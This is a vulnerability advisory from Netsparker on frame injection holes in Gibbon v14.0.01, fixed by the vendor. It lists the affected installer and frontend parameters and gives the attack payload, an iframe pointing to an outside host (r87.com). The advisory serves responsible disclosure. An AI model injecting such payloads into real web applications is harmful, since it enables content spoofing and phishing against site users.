Information
--------------------
Advisory by Netsparker
Name: Frame Injection Vulnerabilities in Gibbon
Affected Software: Gibbon
Affected Versions: v14.0.01
Homepage: https://gibbonedu.org/
Vulnerability Type: Frame Injection Vulnerabilities
Severity: Medium
Status : Fixed
Netsparker Advisory Reference: NS-18-02

Technical Details - (Install)
--------------------

URL  http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x  
Parameter Name  databaseServer  
Parameter Type  POST  
Attack Pattern  %3ciframe+src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e  

URL  http://scanned.app/gibbon-install/installer/install.php?step=2&guid=i4pjwnyc3-hrvk-eg49-nh29-9qnnsipx0x  
Parameter Name  databaseUsername  
Parameter Type  POST  
Attack Pattern  %3ciframe+src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e  

Technical Details - (Frontend)
--------------------

URL  http://scanned.app/core/index.php?q=/modules/Resources/resources_view.php&tag=<iframe src="http://r87.com/?"></iframe>  
Parameter Name  tag  
Parameter Type  GET  
Attack Pattern  %3ciframe+src%3d%22http%3a%2f%2fr87.com%2f%3f%22%3e%3c%2fiframe%3e

Advisory Timeline
--------------------

17th January 2018 - First Contact
20th January 2018 - Vendor Fixed
28th June 2018 - Advisory Released

Credits & Authors
--------------------

These issues have been discovered by Omar Kurt while testing Netsparker Web Application Security Scanner.

About Netsparker
--------------------

Netsparker web application security scanners find and report security flaws and vulnerabilities such as SQL Injection and Cross-site Scripting (XSS) in all websites and web applications, regardless of the platform and technology they are built on. Netsparker scanning engine’s unique detection and exploitation techniques allow it to be dead accurate in reporting vulnerabilities. The Netsparker web application security scanner is available in two editions; Netsparker Desktop and Netsparker Cloud. Visit our website https://www.netsparker.com for more information.